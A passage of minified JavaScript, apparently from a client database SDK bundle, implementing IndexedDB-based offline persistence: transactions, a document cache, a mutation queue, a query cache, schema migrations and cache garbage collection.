Ho,this.transaction.oncomplete=function(){e.completionDeferred.resolve()},this.transaction.onabort=function(){t.error?e.completionDeferred.reject(t.error):e.completionDeferred.resolve()},this.transaction.onerror=function(t){e.completionDeferred.reject(t.target.error)}}return t.open=function(e,n,r){return new t(e.transaction(r,n))},Object.defineProperty(t.prototype,"completionPromise",{get:function(){return this.completionDeferred.promise},enumerable:!0,configurable:!0}),t.prototype.abort=function(t){t&&this.completionDeferred.reject(t),this.aborted||(Xn("SimpleDb","Aborting transaction:",t?t.message:"Client-initiated abort"),this.aborted=!0,this.transaction.abort())},t.prototype.store=function(t){var e=this.transaction.objectStore(t);return Zn(!!e,"Object store not part of transaction: "+t),new ps(e)},t}(),ps=function(){function t(t){this.store=t}return t.prototype.put=function(t,e){var n;return void 0!==e?(Xn("SimpleDb","PUT",this.store.name,t,e),n=this.store.put(e,t)):(Xn("SimpleDb","PUT",this.store.name,"<auto-key>",t),n=this.store.put(t)),ms(n)},t.prototype.add=function(t){return Xn("SimpleDb","ADD",this.store.name,t,t),ms(this.store.add(t))},t.prototype.get=function(t){var e=this;return ms(this.store.get(t)).next(function(n){return void 0===n&&(n=null),Xn("SimpleDb","GET",e.store.name,t,n),n})},t.prototype.delete=function(t){return Xn("SimpleDb","DELETE",this.store.name,t),ms(this.store.delete(t))},t.prototype.count=function(){return Xn("SimpleDb","COUNT",this.store.name),ms(this.store.count())},t.prototype.loadAll=function(t,e){var n=this.cursor(this.options(t,e)),r=[];return this.iterateCursor(n,function(t,e){r.push(e)}).next(function(){return r})},t.prototype.deleteAll=function(t,e){Xn("SimpleDb","DELETE ALL",this.store.name);var n=this.options(t,e);n.keysOnly=!1;var r=this.cursor(n);return this.iterateCursor(r,function(t,e,n){return n.delete()})},t.prototype.iterate=function(t,e){var n;e?n=t:(n={},e=t);var r=this.cursor(n);return this.iterateCursor(r,e)},t.prototype.iterateSerial=function(t){var e=this.cursor({});return new us(function(n,r){e.onerror=function(t){r(t.target.error)},e.onsuccess=function(e){var r=e.target.result;r?t(r.primaryKey,r.value).next(function(t){t?r.continue():n()}):n()}})},t.prototype.iterateCursor=function(t,e){var n=[];return new us(function(r,i){t.onerror=function(t){i(t.target.error)},t.onsuccess=function(t){var i=t.target.result;if(i){var o=new fs(i),s=e(i.primaryKey,i.value,o);if(s instanceof us){var a=s.catch(function(t){return o.done(),us.reject(t)});n.push(a)}o.isDone?r():null===o.skipToKey?i.continue():i.continue(o.skipToKey)}else r()}}).next(function(){return us.waitFor(n)})},t.prototype.options=function(t,e){var n=void 0;return void 0!==t&&("string"==typeof t?n=t:(Zn(void 0===e,"3rd argument must not be defined if 2nd is a range."),e=t)),{index:n,range:e}},t.prototype.cursor=function(t){var e="next";if(t.reverse&&(e="prev"),t.index){var n=this.store.index(t.index);return t.keysOnly?n.openKeyCursor(t.range,e):n.openCursor(t.range,e)}return this.store.openCursor(t.range,e)},t}();function ms(t){return new us(function(e,n){t.onsuccess=function(t){var n=t.target.result;e(n)},t.onerror=function(t){n(t.target.error)}})}var ys="The remote document changelog no longer contains all changes for all local query views. It may be necessary to rebuild these views.",gs=function(){function t(t,e){this.serializer=t,this.keepDocumentChangeLog=e,this._lastProcessedDocumentChangeId=0}return Object.defineProperty(t.prototype,"lastProcessedDocumentChangeId",{get:function(){return this._lastProcessedDocumentChangeId},enumerable:!0,configurable:!0}),t.prototype.start=function(t){var e=ls.getStore(t,Vs.store);return this.synchronizeLastDocumentChangeId(e)},t.prototype.addEntries=function(t,e,n){var r=[];if(e.length>0){for(var i=ws(t),o=uo(),s=0,a=e;s<a.length;s++){var u=a[s],c=u.key,h=u.doc;r.push(i.put(Ss(c),h)),o=o.add(c)}this.keepDocumentChangeLog&&r.push(Ts(t).put({changes:this.serializer.toDbResourcePaths(o)})),r.push(this.updateSize(t,n))}return us.waitFor(r)},t.prototype.removeEntry=function(t,e){var n=ws(t),r=Ss(e);return n.get(r).next(function(t){return t?n.delete(r).next(function(){return Es(t)}):us.resolve(0)})},t.prototype.getEntry=function(t,e){var n=this;return ws(t).get(Ss(e)).next(function(t){return t?n.serializer.fromDbRemoteDocument(t):null})},t.prototype.getSizedEntry=function(t,e){var n=this;return ws(t).get(Ss(e)).next(function(t){return t?{maybeDocument:n.serializer.fromDbRemoteDocument(t),size:Es(t)}:null})},t.prototype.getDocumentsMatchingQuery=function(t,e){var n=this,r=io(),i=e.path.toArray(),o=IDBKeyRange.lowerBound(i);return ws(t).iterate({range:o},function(t,i,o){var s=n.serializer.fromDbRemoteDocument(i);e.path.isPrefixOf(s.key.path)?s instanceof zr&&e.matches(s)&&(r=r.insert(s.key,s)):o.done()}).next(function(){return r})},t.prototype.getNewDocumentChanges=function(t){var e=this;Zn(this.keepDocumentChangeLog,"Can only call getNewDocumentChanges() when document change log is enabled");var n=uo(),r=no(),i=IDBKeyRange.lowerBound(this._lastProcessedDocumentChangeId+1),o=!0,s=Ts(t);return s.iterate({range:i},function(t,r){if(o&&(o=!1,e._lastProcessedDocumentChangeId+1!==r.id))return e.synchronizeLastDocumentChangeId(s).next(function(){return us.reject(new rr(nr.DATA_LOSS,ys))});n=n.unionWith(e.serializer.fromDbResourcePaths(r.changes)),e._lastProcessedDocumentChangeId=r.id}).next(function(){var i=[];return n.forEach(function(n){i.push(e.getEntry(t,n).next(function(t){var e=t||new Hr(n,_i.forDeletedDoc());r=r.insert(n,e)}))}),us.waitFor(i)}).next(function(){return r})},t.prototype.removeDocumentChangesThroughChangeId=function(t,e){var n=IDBKeyRange.upperBound(e);return Ts(t).delete(n)},t.prototype.synchronizeLastDocumentChangeId=function(t){var e=this;return this._lastProcessedDocumentChangeId=0,t.iterate({keysOnly:!0,reverse:!0},function(t,n,r){e._lastProcessedDocumentChangeId=t,r.done()})},t.prototype.newChangeBuffer=function(){return new bs(this)},t.prototype.getSize=function(t){return this.getMetadata(t).next(function(t){return t.byteSize})},t.prototype.getMetadata=function(t){return vs(t).get(_s.key).next(function(t){return Zn(!!t,"Missing document cache metadata"),t})},t.prototype.setMetadata=function(t,e){return vs(t).put(_s.key,e)},t.prototype.updateSize=function(t,e){var n=this;return this.getMetadata(t).next(function(r){return r.byteSize+=e,n.setMetadata(t,r)})},t}();function vs(t){return fa.getStore(t,_s.store)}var bs=function(t){function e(e){var n=t.call(this)||this;return n.documentCache=e,n}return a(e,t),e.prototype.applyChanges=function(t){var e=this,n=0,r=[];return this.assertChanges().forEach(function(t,i){var o=e.documentCache.serializer.toDbRemoteDocument(i),s=e.documentSizes.get(t);Zn(void 0!==s,"Attempting to change document "+t.toString()+" without having read it first");var a=Es(o);n+=a-s,r.push({key:t,doc:o})}),this.documentCache.addEntries(t,r,n)},e.prototype.getFromCache=function(t,e){return this.documentCache.getSizedEntry(t,e)},e}(hs);function ws(t){return fa.getStore(t,Ps.store)}function Ts(t){return fa.getStore(t,Vs.store)}function Ss(t){return t.path.toArray()}function Es(t){var e;if(t.document)e=t.document;else if(t.unknownDocument)e=t.unknownDocument;else{if(!t.noDocument)throw $n("Unknown remote document type");e=t.noDocument}return JSON.stringify(e).length}var Is=6,Cs=function(){function t(t){this.serializer=t}return t.prototype.createOrUpgrade=function(t,e,n,r){var i=this;Zn(n<r&&n>=0&&r<=Is,"Unexpected schema upgrade from v"+n+" to v{toVersion}."),n<1&&r>=1&&(function(t){t.createObjectStore(Ns.store)}(t),function(t){t.createObjectStore(As.store,{keyPath:As.keyPath}),t.createObjectStore(ks.store,{keyPath:ks.keyPath,autoIncrement:!0}).createIndex(ks.userMutationsIndex,ks.userMutationsKeyPath,{unique:!0}),t.createObjectStore(Rs.store)}(t),Fs(t),function(t){t.createObjectStore(Ps.store)}(t));var o=us.resolve();return n<3&&r>=3&&(0!==n&&(!function(t){t.deleteObjectStore(xs.store),t.deleteObjectStore(Ls.store),t.deleteObjectStore(qs.store)}(t),Fs(t)),o=o.next(function(){return function(t){var e=t.store(qs.store),n=new qs(0,0,_i.MIN.toTimestamp(),0);return e.put(qs.key,n)}(e)})),n<4&&r>=4&&(0!==n&&(o=o.next(function(){return function(t,e){return e.store(ks.store).loadAll().next(function(n){t.deleteObjectStore(ks.store);var r=t.createObjectStore(ks.store,{keyPath:ks.keyPath,autoIncrement:!0});r.createIndex(ks.userMutationsIndex,ks.userMutationsKeyPath,{unique:!0});var i=e.store(ks.store),o=n.map(function(t){return i.put(t)});return us.waitFor(o)})}(t,e)})),o=o.next(function(){!function(t){t.createObjectStore(Bs.store,{keyPath:Bs.keyPath})}(t),function(t){t.createObjectStore(Vs.store,{keyPath:"id",autoIncrement:!0})}(t)})),n<5&&r>=5&&(o=o.next(function(){return i.removeAcknowledgedMutations(e)})),n<6&&r>=6&&(o=o.next(function(){return function(t){t.createObjectStore(_s.store)}(t),i.addDocumentGlobal(e)})),o},t.prototype.addDocumentGlobal=function(t){var e=0;return t.store(Ps.store).iterate(function(t,n){e+=Es(n)}).next(function(){var n=new _s(e);return t.store(_s.store).put(_s.key,n)})},t.prototype.removeAcknowledgedMutations=function(t){var e=this,n=t.store(As.store),r=t.store(ks.store);return n.loadAll().next(function(n){return us.forEach(n,function(n){var i=IDBKeyRange.bound([n.userId,os],[n.userId,n.lastAcknowledgedBatchId]);return r.loadAll(ks.userMutationsIndex,i).next(function(r){return us.forEach(r,function(r){Zn(r.userId===n.userId,"Cannot process batch "+r.batchId+" from unexpected user");var i=e.serializer.fromDbMutationBatch(r);return Ws(t,n.userId,i).next()})})})})},t}(),Ds=function(){return function(t,e){this.seconds=t,this.nanoseconds=e}}(),Ns=function(){function t(t,e,n){this.ownerId=t,this.allowTabSynchronization=e,this.leaseTimestampMs=n}return t.store="owner",t.key="owner",t}();var As=function(){function t(t,e,n){this.userId=t,this.lastAcknowledgedBatchId=e,this.lastStreamToken=n}return t.store="mutationQueues",t.keyPath="userId",t}(),ks=function(){function t(t,e,n,r){this.userId=t,this.batchId=e,this.localWriteTimeMs=n,this.mutations=r}return t.store="mutations",t.keyPath="batchId",t.userMutationsIndex="userMutationsIndex",t.userMutationsKeyPath=["userId","batchId"],t}();var Rs=function(){function t(){}return t.prefixForUser=function(t){return[t]},t.prefixForPath=function(t,e){return[t,es(e)]},t.key=function(t,e,n){return[t,es(e),n]},t.store="documentMutations",t.PLACEHOLDER=new t,t}();var Ms=function(){return function(t,e){this.path=t,this.readTime=e}}(),Os=function(){return function(t,e){this.path=t,this.version=e}}(),Ps=function(){function t(t,e,n,r){this.unknownDocument=t,this.noDocument=e,this.document=n,this.hasCommittedMutations=r}return t.store="remoteDocuments",t}(),_s=function(){function t(t){this.byteSize=t}return t.store="remoteDocumentGlobal",t.key="remoteDocumentGlobalKey",t}();var Ls=function(){function t(t,e,n,r,i,o){this.targetId=t,this.canonicalId=e,this.readTime=n,this.resumeToken=r,this.lastListenSequenceNumber=i,this.query=o}return t.store="targets",t.keyPath="targetId",t.queryTargetsIndexName="queryTargetsIndex",t.queryTargetsKeyPath=["canonicalId","targetId"],t}(),xs=function(){function t(t,e,n){this.targetId=t,this.path=e,this.sequenceNumber=n,Zn(0===t==(void 0!==n),"A target-document row must either have targetId == 0 and a defined sequence number, or a non-zero targetId and no sequence number")}return t.store="targetDocuments",t.keyPath=["targetId","path"],t.documentTargetsIndex="documentTargetsIndex",t.documentTargetsKeyPath=["path","targetId"],t}(),qs=function(){function t(t,e,n,r){this.highestTargetId=t,this.highestListenSequenceNumber=e,this.lastRemoteSnapshotVersion=n,this.targetCount=r}return t.key="targetGlobalKey",t.store="targetGlobal",t}();function Fs(t){t.createObjectStore(xs.store,{keyPath:xs.keyPath}).createIndex(xs.documentTargetsIndex,xs.documentTargetsKeyPath,{unique:!0}),t.createObjectStore(Ls.store,{keyPath:Ls.keyPath}).createIndex(Ls.queryTargetsIndexName,Ls.queryTargetsKeyPath,{unique:!0}),t.createObjectStore(qs.store)}var Vs=function(){function t(t){this.changes=t}return t.store="remoteDocumentChanges",t.keyPath="id",t}();var Bs=function(){function t(t,e,n,r,i){this.clientId=t,this.updateTimeMs=e,this.networkEnabled=n,this.inForeground=r,this.lastProcessedDocumentChangeId=i}return t.store="clientMetadata",t.keyPath="clientId",t}();var Us=[As.store,ks.store,Rs.store,Ps.store,Ls.store,Ns.store,qs.store,xs.store].concat([Bs.store,Vs.store]).concat([_s.store]),Qs=function(){function t(t,e,n){this.userId=t,this.serializer=e,this.referenceDelegate=n,this.documentKeysByBatchId={}}return t.forUser=function(e,n,r){return Zn(""!==e.uid,"UserID must not be an empty string."),new t(e.isAuthenticated()?e.uid:"",n,r)},t.prototype.checkEmpty=function(t){var e=!0,n=IDBKeyRange.bound([this.userId,Number.NEGATIVE_INFINITY],[this.userId,Number.POSITIVE_INFINITY]);return Gs(t).iterate({index:ks.userMutationsIndex,range:n},function(t,n,r){e=!1,r.done()}).next(function(){return e})},t.prototype.acknowledgeBatch=function(t,e,n){return this.getMutationQueueMetadata(t).next(function(r){var i=e.batchId;return Zn(i>r.lastAcknowledgedBatchId,"Mutation batchIDs must be acknowledged in order"),r.lastAcknowledgedBatchId=i,r.lastStreamToken=js(n),Hs(t).put(r)})},t.prototype.getLastStreamToken=function(t){return this.getMutationQueueMetadata(t).next(function(t){return t.lastStreamToken})},t.prototype.setLastStreamToken=function(t,e){return this.getMutationQueueMetadata(t).next(function(n){return n.lastStreamToken=js(e),Hs(t).put(n)})},t.prototype.addMutationBatch=function(t,e,n){var r=this,i=zs(t),o=Gs(t);return o.add({}).next(function(t){Zn("number"==typeof t,"Auto-generated key is not a number");var s=new ss(t,e,n),a=r.serializer.toDbMutationBatch(r.userId,s);r.documentKeysByBatchId[t]=s.keys();for(var u=[],c=0,h=n;c<h.length;c++){var l=h[c],f=Rs.key(r.userId,l.key.path,t);u.push(o.put(a)),u.push(i.put(f,Rs.PLACEHOLDER))}return us.waitFor(u).next(function(){return s})})},t.prototype.lookupMutationBatch=function(t,e){var n=this;return Gs(t).get(e).next(function(t){return t?(Zn(t.userId===n.userId,"Unexpected user '"+t.userId+"' for mutation batch "+e),n.serializer.fromDbMutationBatch(t)):null})},t.prototype.lookupMutationKeys=function(t,e){var n=this;return this.documentKeysByBatchId[e]?us.resolve(this.documentKeysByBatchId[e]):this.lookupMutationBatch(t,e).next(function(t){if(t){var r=t.keys();return n.documentKeysByBatchId[e]=r,r}return null})},t.prototype.getNextMutationBatchAfterBatchId=function(t,e){var n=this;return this.getMutationQueueMetadata(t).next(function(r){var i=Math.max(e,r.lastAcknowledgedBatchId)+1,o=IDBKeyRange.lowerBound([n.userId,i]),s=null;return Gs(t).iterate({index:ks.userMutationsIndex,range:o},function(t,e,r){e.userId===n.userId&&(Zn(e.batchId>=i,"Should have found mutation after "+i),s=n.serializer.fromDbMutationBatch(e)),r.done()}).next(function(){return s})})},t.prototype.getAllMutationBatches=function(t){var e=this,n=IDBKeyRange.bound([this.userId,os],[this.userId,Number.POSITIVE_INFINITY]);return Gs(t).loadAll(ks.userMutationsIndex,n).next(function(t){return t.map(function(t){return e.serializer.fromDbMutationBatch(t)})})},t.prototype.getAllMutationBatchesAffectingDocumentKey=function(t,e){var n=this,r=Rs.prefixForPath(this.userId,e.path),i=IDBKeyRange.lowerBound(r),o=[];return zs(t).iterate({range:i},function(r,i,s){var a=r[0],u=r[1],c=r[2],h=is(u);if(a===n.userId&&e.path.isEqual(h))return Gs(t).get(c).next(function(t){if(!t)throw $n("Dangling document-mutation reference found: "+r+" which points to "+c);Zn(t.userId===n.userId,"Unexpected user '"+t.userId+"' for mutation batch "+c),o.push(n.serializer.fromDbMutationBatch(t))});s.done()}).next(function(){return o})},t.prototype.getAllMutationBatchesAffectingDocumentKeys=function(t,e){var n=this,r=new to(Ar),i=[];return e.forEach(function(e){var o=Rs.prefixForPath(n.userId,e.path),s=IDBKeyRange.lowerBound(o),a=zs(t).iterate({range:s},function(t,i,o){var s=t[0],a=t[1],u=t[2],c=is(a);s===n.userId&&e.path.isEqual(c)?r=r.add(u):o.done()});i.push(a)}),us.waitFor(i).next(function(){return n.lookupMutationBatches(t,r)})},t.prototype.getAllMutationBatchesAffectingQuery=function(t,e){var n=this;Zn(!e.isDocumentQuery(),"Document queries shouldn't go down this path");var r=e.path,i=r.length+1,o=Rs.prefixForPath(this.userId,r),s=IDBKeyRange.lowerBound(o),a=new to(Ar);return zs(t).iterate({range:s},function(t,e,o){var s=t[0],u=t[1],c=t[2],h=is(u);s===n.userId&&r.isPrefixOf(h)?h.length===i&&(a=a.add(c)):o.done()}).next(function(){return n.lookupMutationBatches(t,a)})},t.prototype.lookupMutationBatches=function(t,e){var n=this,r=[],i=[];return e.forEach(function(e){i.push(Gs(t).get(e).next(function(t){if(null===t)throw $n("Dangling document-mutation reference found, which points to "+e);Zn(t.userId===n.userId,"Unexpected user '"+t.userId+"' for mutation batch "+e),r.push(n.serializer.fromDbMutationBatch(t))}))}),us.waitFor(i).next(function(){return r})},t.prototype.removeMutationBatch=function(t,e){var n=this;return Ws(t.simpleDbTransaction,this.userId,e).next(function(r){return n.removeCachedMutationKeys(e.batchId),us.forEach(r,function(e){return n.referenceDelegate.removeMutationReference(t,e)})})},t.prototype.removeCachedMutationKeys=function(t){delete this.documentKeysByBatchId[t]},t.prototype.performConsistencyCheck=function(t){var e=this;return this.checkEmpty(t).next(function(n){if(!n)return us.resolve();var r=IDBKeyRange.lowerBound(Rs.prefixForUser(e.userId)),i=[];return zs(t).iterate({range:r},function(t,n,r){if(t[0]===e.userId){var o=is(t[1]);i.push(o)}else r.done()}).next(function(){Zn(0===i.length,"Document leak -- detected dangling mutation references when queue is empty. Dangling keys: "+i.map(function(t){return t.canonicalString()}))})})},t.prototype.containsKey=function(t,e){return Ks(t,this.userId,e)},t.prototype.getMutationQueueMetadata=function(t){var e=this;return Hs(t).get(this.userId).next(function(t){return t||new As(e.userId,os,"")})},t}();function Ks(t,e,n){var r=Rs.prefixForPath(e,n.path),i=r[1],o=IDBKeyRange.lowerBound(r),s=!1;return zs(t).iterate({range:o,keysOnly:!0},function(t,n,r){var o=t[0],a=t[1];t[2];o===e&&a===i&&(s=!0),r.done()}).next(function(){return s})}function Ws(t,e,n){var r=t.store(ks.store),i=t.store(Rs.store),o=[],s=IDBKeyRange.only(n.batchId),a=0,u=r.iterate({range:s},function(t,e,n){return a++,n.delete()});o.push(u.next(function(){Zn(1===a,"Dangling document-mutation reference found: Missing batch "+n.batchId)}));for(var c=[],h=0,l=n.mutations;h<l.length;h++){var f=l[h],d=Rs.key(e,f.key.path,n.batchId);o.push(i.delete(d)),c.push(f.key)}return us.waitFor(o).next(function(){return c})}function js(t){return t instanceof Uint8Array?(Zn("YES"===process.env.USE_MOCK_PERSISTENCE,"Persisting non-string stream tokens is only supported with mock persistence."),t.toString()):t}function Gs(t){return fa.getStore(t,ks.store)}function zs(t){return fa.getStore(t,Rs.store)}function Hs(t){return fa.getStore(t,As.store)}var Xs,Ys=1;!function(t){t[t.QueryCache=0]="QueryCache",t[t.SyncEngine=1]="SyncEngine"}(Xs||(Xs={}));var Js=function(){function t(t,e){this.generatorId=t,Zn((t&Ys)===t,"Generator ID "+t+" contains more than "+Ys+" reserved bits"),this.seek(void 0!==e?e:this.generatorId)}return t.prototype.next=function(){var t=this.nextId;return this.nextId+=1<<Ys,t},t.prototype.after=function(t){return this.seek(t+(1<<Ys)),this.next()},t.prototype.seek=function(t){Zn((t&Ys)===this.generatorId,"Cannot supply target ID from different generator ID"),this.nextId=t},t.forQueryCache=function(){return new t(Xs.QueryCache,2)},t.forSyncEngine=function(){return new t(Xs.SyncEngine)},t}(),$s=function(){function t(t,e){this.referenceDelegate=t,this.serializer=e,this.targetIdGenerator=Js.forQueryCache()}return t.prototype.allocateTargetId=function(t){var e=this;return this.retrieveMetadata(t).next(function(n){return n.highestTargetId=e.targetIdGenerator.after(n.highestTargetId),e.saveMetadata(t,n).next(function(){return n.highestTargetId})})},t.prototype.getLastRemoteSnapshotVersion=function(t){return this.retrieveMetadata(t).next(function(t){return _i.fromTimestamp(new qr(t.lastRemoteSnapshotVersion.seconds,t.lastRemoteSnapshotVersion.nanoseconds))})},t.prototype.getHighestSequenceNumber=function(t){return ea(t.simpleDbTransaction)},t.prototype.setTargetsMetadata=function(t,e,n){var r=this;return this.retrieveMetadata(t).next(function(i){return i.highestListenSequenceNumber=e,n&&(i.lastRemoteSnapshotVersion=n.toTimestamp()),e>i.highestListenSequenceNumber&&(i.highestListenSequenceNumber=e),r.saveMetadata(t,i)})},t.prototype.addQueryData=function(t,e){var n=this;return this.saveQueryData(t,e).next(function(){return n.retrieveMetadata(t).next(function(r){return r.targetCount+=1,n.updateMetadataFromQueryData(e,r),n.saveMetadata(t,r)})})},t.prototype.updateQueryData=function(t,e){return this.saveQueryData(t,e)},t.prototype.removeQueryData=function(t,e){var n=this;return this.removeMatchingKeysForTargetId(t,e.targetId).next(function(){return Zs(t).delete(e.targetId)}).next(function(){return n.retrieveMetadata(t)}).next(function(e){return Zn(e.targetCount>0,"Removing from an empty query cache"),e.targetCount-=1,n.saveMetadata(t,e)})},t.prototype.removeTargets=function(t,e,n){var r=this,i=0,o=[];return Zs(t).iterate(function(s,a){var u=r.serializer.fromDbTarget(a);u.sequenceNumber<=e&&void 0===n[u.targetId]&&(i++,o.push(r.removeQueryData(t,u)))}).next(function(){return us.waitFor(o)}).next(function(){return i})},t.prototype.forEachTarget=function(t,e){var n=this;return Zs(t).iterate(function(t,r){var i=n.serializer.fromDbTarget(r);e(i)})},t.prototype.retrieveMetadata=function(t){return ta(t.simpleDbTransaction)},t.prototype.saveMetadata=function(t,e){return(n=t,fa.getStore(n,qs.store)).put(qs.key,e);var n},t.prototype.saveQueryData=function(t,e){return Zs(t).put(this.serializer.toDbTarget(e))},t.prototype.updateMetadataFromQueryData=function(t,e){var n=!1;return t.targetId>e.highestTargetId&&(e.highestTargetId=t.targetId,n=!0),t.sequenceNumber>e.highestListenSequenceNumber&&(e.highestListenSequenceNumber=t.sequenceNumber,n=!0),n},t.prototype.getQueryCount=function(t){return this.retrieveMetadata(t).next(function(t){return t.targetCount})},t.prototype.getQueryData=function(t,e){var n=this,r=e.canonicalId(),i=IDBKeyRange.bound([r,Number.NEGATIVE_INFINITY],[r,Number.POSITIVE_INFINITY]),o=null;return Zs(t).iterate({range:i,index:Ls.queryTargetsIndexName},function(t,r,i){var s=n.serializer.fromDbTarget(r);e.isEqual(s.query)&&(o=s,i.done())}).next(function(){return o})},t.prototype.addMatchingKeys=function(t,e,n){var r=this,i=[],o=na(t);return e.forEach(function(e){var s=es(e.path);i.push(o.put(new xs(n,s))),i.push(r.referenceDelegate.addReference(t,e))}),us.waitFor(i)},t.prototype.removeMatchingKeys=function(t,e,n){var r=this,i=na(t);return us.forEach(e,function(e){var o=es(e.path);return us.waitFor([i.delete([n,o]),r.referenceDelegate.removeReference(t,e)])})},t.prototype.removeMatchingKeysForTargetId=function(t,e){var n=na(t),r=IDBKeyRange.bound([e],[e+1],!1,!0);return n.delete(r)},t.prototype.getMatchingKeysForTargetId=function(t,e){var n=IDBKeyRange.bound([e],[e+1],!1,!0),r=na(t),i=uo();return r.iterate({range:n,keysOnly:!0},function(t,e,n){var r=is(t[1]),o=new jr(r);i=i.add(o)}).next(function(){return i})},t.prototype.containsKey=function(t,e){var n,r=es(e.path),i=IDBKeyRange.bound([r],[(n=r,n+"\0")],!1,!0),o=0;return na(t).iterate({index:xs.documentTargetsIndex,keysOnly:!0,range:i},function(t,e,n){var r=t[0];t[1];0!==r&&(o++,n.done())}).next(function(){return o>0})},t.prototype.getQueryDataForTarget=function(t,e){var n=this;return Zs(t).get(e).next(function(t){return t?n.serializer.fromDbTarget(t):null})},t}();function Zs(t){return fa.getStore(t,Ls.store)}function ta(t){return ls.getStore(t,qs.store).get(qs.key).next(function(t){return Zn(null!==t,"Missing metadata row."),t})}function ea(t){return ta(t).next(function(t){return t.highestListenSequenceNumber})}function na(t){return fa.getStore(t,xs.store)}var ra=function(){function t(t){this.remoteSerializer=t}return t.prototype.fromDbRemoteDocument=function(t){if(t.document)return this.remoteSerializer.fromDocument(t.document,!!t.hasCommittedMutations);if(t.noDocument){var e=jr.fromSegments(t.noDocument.path),n=this.fromDbTimestamp(t.noDocument.readTime);return new Hr(e,n,{hasCommittedMutations:!!t.hasCommittedMutations})}if(t.unknownDocument){e=jr.fromSegments(t.unknownDocument.path),n=this.fromDbTimestamp(t.unknownDocument.version);return new Xr(e,n)}return $n("Unexpected DbRemoteDocument")},t.prototype.toDbRemoteDocument=function(t){if(t instanceof zr){var e=this.remoteSerializer.toDocument(t),n=t.hasCommittedMutations;return new Ps(null,null,e,n)}if(t instanceof Hr){var r=t.key.path.toArray(),i=this.toDbTimestamp(t.version);n=t.hasCommittedMutations;return new Ps(null,new Ms(r,i),null,n)}if(t instanceof Xr){r=t.key.path.toArray(),i=this.toDbTimestamp(t.version);return new Ps(new Os(r,i),null,null,!0)}return $n("Unexpected MaybeDocumment")},t.prototype.toDbTimestamp=function(t){var e=t.toTimestamp();return new Ds(e.seconds,e.nanoseconds)},t.prototype.fromDbTimestamp=function(t){var e=new qr(t.seconds,t.nanoseconds);return _i.fromTimestamp(e)},t.prototype.toDbMutationBatch=function(t,e){var n=this,r=e.mutations.map(function(t){return n.remoteSerializer.toMutation(t)});return new ks(t,e.batchId,e.localWriteTime.toMillis(),r)},t.prototype.fromDbMutationBatch=function(t){var e=this,n=t.mutations.map(function(t){return e.remoteSerializer.fromMutation(t)}),r=qr.fromMillis(t.localWriteTimeMs);return new ss(t.batchId,r,n)},t.prototype.toDbResourcePaths=function(t){var e=[];return t.forEach(function(t){e.push(es(t.path))}),e},t.prototype.fromDbResourcePaths=function(t){for(var e=uo(),n=0,r=t;n<r.length;n++){var i=r[n];e=e.add(new jr(is(i)))}return e},t.prototype.fromDbTarget=function(t){var e,n=this.fromDbTimestamp(t.readTime);return e=void 0!==t.query.documents?this.remoteSerializer.fromDocumentsTarget(t.query):this.remoteSerializer.fromQueryTarget(t.query),new xi(e,t.targetId,Si.Listen,t.lastListenSequenceNumber,n,t.resumeToken)},t.prototype.toDbTarget=function(t){Zn(Si.Listen===t.purpose,"Only queries with purpose "+Si.Listen+" may be stored, got "+t.purpose);var e,n,r=this.toDbTimestamp(t.snapshotVersion);return e=t.query.isDocumentQuery()?this.remoteSerializer.toDocumentsTarget(t.query):this.remoteSerializer.toQueryTarget(t.query),t.resumeToken instanceof Uint8Array?(Zn("YES"===process.env.USE_MOCK_PERSISTENCE,"Persisting non-string stream tokens is only supported with mock persistence ."),n=t.resumeToken.toString()):n=t.resumeToken,new Ls(t.targetId,t.query.canonicalId(),r,n,t.sequenceNumber,e)},t}();function ia(t,e){var n=t[0],r=t[1],i=e[0],o=e[1],s=Ar(n,i);return 0===s?Ar(r,o):s}var oa=function(){function t(t){this.maxElements=t,this.buffer=new to(ia),this.previousIndex=0}return t.prototype.nextIndex=function(){return++this.previousIndex},t.prototype.addElement=function(t){var e=[t,this.nextIndex()];if(this.buffer.size<this.maxElements)this.buffer=this.buffer.add(e);else{var n=this.buffer.last();ia(e,n)<0&&(this.buffer=this.buffer.delete(n).add(e))}},Object.defineProperty(t.prototype,"maxValue",{get:function(){return this.buffer.last()[0]},enumerable:!0,configurable:!0}),t}(),sa=function(){function t(t){this.delegate=t}return t.prototype.calculateTargetCount=function(t,e){return this.delegate.getTargetCount(t).next(function(t){return Math.floor(e/100*t)})},t.prototype.nthSequenceNumber=function(t,e){var n=this;if(0===e)return us.resolve(zo.INVALID);var r=new oa(e);return this.delegate.forEachTarget(t,function(t){return r.addElement(t.sequenceNumber)}).next(function(){return n.delegate.forEachOrphanedDocumentSequenceNumber(t,function(t){return r.addElement(t)})}).next(function(){return r.maxValue})},t.prototype.removeTargets=function(t,e,n){return this.delegate.removeTargets(t,e,n)},t.prototype.removeOrphanedDocuments=function(t,e){return this.delegate.removeOrphanedDocuments(t,e)},t}(),aa="IndexedDbPersistence",ua="The current tab is not in the required state to perform this operation. It might be necessary to refresh the browser tab.",ca="Another tab has exclusive access to the persistence layer. To allow shared access, make sure to invoke `enablePersistence()` with `experimentalTabSynchronization:true` in all tabs.",ha="This platform is either missing IndexedDB or is known to have an incomplete implementation. Offline persistence has been disabled.",la=function(t){function e(e,n){var r=t.call(this)||this;return r.simpleDbTransaction=e,r.currentSequenceNumber=n,r}return a(e,t),e}(function(){return function(){}}()),fa=function(){function t(e,n,r,i,o,s){if(this.persistenceKey=e,this.clientId=n,this.queue=i,this.multiClientParams=s,this._started=!1,this.isPrimary=!1,this.networkEnabled=!0,this.inForeground=!1,this.lastGarbageCollectionTime=Number.NEGATIVE_INFINITY,this.primaryStateListener=function(t){return Promise.resolve()},!t.isAvailable())throw new rr(nr.UNIMPLEMENTED,ha);if(this.referenceDelegate=new ya(this),this.dbName=e+t.MAIN_DATABASE,this.serializer=new ra(o),this.document=r.document,this.allowTabSynchronization=void 0!==s,this.queryCache=new $s(this.referenceDelegate,this.serializer),this.remoteDocumentCache=new gs(this.serializer,this.allowTabSynchronization),!r.window||!r.window.localStorage)throw new rr(nr.UNIMPLEMENTED,"IndexedDB persistence is only available on platforms that support LocalStorage.");this.window=r.window,this.webStorage=this.window.localStorage}return t.getStore=function(t,e){if(t instanceof la)return ls.getStore(t.simpleDbTransaction,e);throw $n("IndexedDbPersistence must use instances of IndexedDbTransaction")},t.createIndexedDbPersistence=function(e,n,r,i,o){return u(this,void 0,void 0,function(){var s;return c(this,function(a){switch(a.label){case 0:return[4,(s=new t(e,n,r,i,o)).start()];case 1:return a.sent(),[2,s]}})})},t.createMultiClientIndexedDbPersistence=function(e,n,r,i,o,s){return u(this,void 0,void 0,function(){var a;return c(this,function(u){switch(u.label){case 0:return[4,(a=new 